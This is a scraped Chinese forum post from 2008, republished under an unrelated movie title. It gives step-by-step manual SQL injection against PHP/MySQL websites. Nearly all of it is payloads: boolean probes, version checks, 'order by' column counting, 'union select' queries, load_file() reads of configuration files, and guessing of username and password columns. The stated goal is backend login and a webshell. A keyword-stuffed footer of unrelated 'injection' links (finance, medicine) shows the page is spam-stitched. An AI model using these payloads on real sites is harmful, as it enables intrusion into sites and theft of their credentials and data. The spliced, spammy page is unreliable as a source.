虎胆龙威5国语版:PHP脚本注入的简单步骤 - SQL注入 - 安全技术 - 中国安天信息安全专业论坛 - ...

来源：百度文库编辑：九乡新闻网时间：2024/04/29 19:10:54

注册登录分栏模式

搜索
标签
统计
帮助

.defaultpost { height: auto !important; height:120px; min-height:120px !important; }.signatures { height: expression(signature(this)); max-height: 100px; }

中国安天信息安全专业论坛» 安全技术 » SQL注入 » PHP脚本注入的简单步骤

‹‹ 上一主题 | 下一主题 ››

打印

PHP脚本注入的简单步骤

本主题由 simeon 于 2008-11-25 20:14 移动 hurricane

S.s.F-版主

发短消息
加为好友
当前离线

1^# 大中小发表于 2008-11-6 16:29 只看该作者本站原创书籍《黑客攻防实战案例解析》

PHP脚本注入的简单步骤

1~判断注入点~ ：’;and 1=1;and 1=2                      -------（跟ASP一样）
2~判断是否能进行UNION查询~：and ord(mid(version(),1,1))>51                -------（通过版本判断4.0以上可用UNION查询）
3~利用order by 暴字段~：order by X                                                          -------（X为数字如果返回正常则说明字段大于X

）
4~利用union来查询准确字段~： and 1=2 union select 1,2,3,.......                -------（返回正常，就说明猜到准确字段数。it.Phontol.com）
5~判断数据库连接帐号有没有写权限~：and (select count(*) from mysql.user)>0  ------- （如果返回错误我们就猜管理员的帐号密码如果返回正常，则

可以通过
and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路径的ascii值，用逗号隔开)),8,9,10 [注意：load_file(char(文件路径的ascii值，用逗号隔开

))也可以用十六进制，通过这种方式读取配置文件]）
6~猜解XXXX表~：and 1=2 union select 1,2,3,4,5,6.... from user                --------（XXXX为表单名，返回正常，说明存在这个表）
7~猜XXX字段~：and 1=2 union select 1,username,3,4,5,6.... from XXXX    -------（同样道理，自己替换，如果在2字段显示出字段内容则存在些字段

）
8~同理再猜解password字段,猜解成功再找后台登录上SHELL~ 宁静以致远

慢慢积累，等待质变

UID: 28
帖子: 46
精华: 0
积分: 2137
威望: 450 金
金钱: 1214 金
贡献: 440 金
阅读权限: 100
在线时间: 20 小时
注册时间: 2008-8-14
最后登录: 2008-12-5

查看详细资料

TOP

‹‹ 上一主题 | 下一主题 ››

最近访问的版块

当前时区 GMT+8, 现在时间是 2008-12-9 00:16

清除 Cookies - 联系我们 - 中国安天信息安全专业论坛 - WAP - TOP - 界面风格

默认风格

Processed in 0.059063 second(s), 10 queries.

PHP脚本注入的简单步骤 - SQL注入 - 安全技术 - 中国安天信息安全专业论坛 - ... SQL 的注入式攻击 1 防止SQL注入 SQL注入天书 sql 防注入手工注入_拿下一般的php网站 - 联合网报-给你能用的信息-blog.uir.eb.cn... SQL注入天书之ASP注入漏洞全接触网站安全性：C#防SQL注入代码的实现方法 - 51CTO.COM 避免 XPath 注入的危险资产注入代码注入博客首页的方法：把责任注入孩子的心灵糖尿病患者减轻胰岛素注入疼痛的方法推背，注入的是一种能量编写安全 PHP 应用程序的七个习惯 - PHPChina 开源社区门户 - PHP论坛|PHP教程|PHP源码|PHP下载|PHP培训|PHP新闻|PHP专题|Zend产品服务|PHP学习江苏舜天 (资产注入预期) 许继电气中国电科院对其有资产注入和整合的预期国际时评：“中国担当”为中欧关系注入新活力军工资产能否注入资产注入-概念板块注入矿产资源上市公司一览《将心注入》笔记 Spring之DataSource注入股改承诺资产注入而未实施的上市公司